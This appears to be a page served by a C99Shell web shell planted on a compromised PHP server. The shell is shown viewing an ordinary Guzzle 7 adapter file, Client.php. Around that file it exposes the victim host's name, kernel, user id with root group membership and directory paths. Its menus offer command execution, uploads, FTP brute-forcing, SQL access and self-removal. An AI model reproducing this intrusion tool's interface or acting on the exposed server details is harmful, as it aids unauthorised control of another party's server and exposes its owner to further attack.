!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/php-http/guzzle7-adapter/src/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Client.php (1.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Http\Adapter\Guzzle7;

use 
GuzzleHttp\Client as GuzzleClient;
use 
GuzzleHttp\ClientInterface;
use 
GuzzleHttp\HandlerStack;
use 
GuzzleHttp\Middleware;
use 
GuzzleHttp\Utils;
use 
Http\Client\HttpAsyncClient;
use 
Http\Client\HttpClient;
use 
Psr\Http\Message\RequestInterface;
use 
Psr\Http\Message\ResponseInterface;

/**
 * HTTP Adapter for Guzzle 7.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
final class Client implements HttpClientHttpAsyncClient
{
    
/**
     * @var ClientInterface
     */
    
private $guzzle;

    public function 
__construct(?ClientInterface $guzzle null)
    {
        if (!
$guzzle) {
            
$guzzle self::buildClient();
        }

        
$this->guzzle $guzzle;
    }

    
/**
     * Factory method to create the Guzzle 7 adapter with custom Guzzle configuration.
     */
    
public static function createWithConfig(array $config): Client
    
{
        return new 
self(self::buildClient($config));
    }

    
/**
     * {@inheritdoc}
     */
    
public function sendRequest(RequestInterface $request): ResponseInterface
    
{
        return 
$this->sendAsyncRequest($request)->wait();
    }

    
/**
     * {@inheritdoc}
     */
    
public function sendAsyncRequest(RequestInterface $request)
    {
        
$promise $this->guzzle->sendAsync($request);

        return new 
Promise($promise$request);
    }

    
/**
     * Build the Guzzle client instance.
     */
    
private static function buildClient(array $config = []): GuzzleClient
    
{
        
$handlerStack = new HandlerStack(Utils::chooseHandler());
        
$handlerStack->push(Middleware::prepareBody(), 'prepare_body');
        
$config array_merge(['handler' => $handlerStack], $config);

        return new 
GuzzleClient($config);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0104 ]--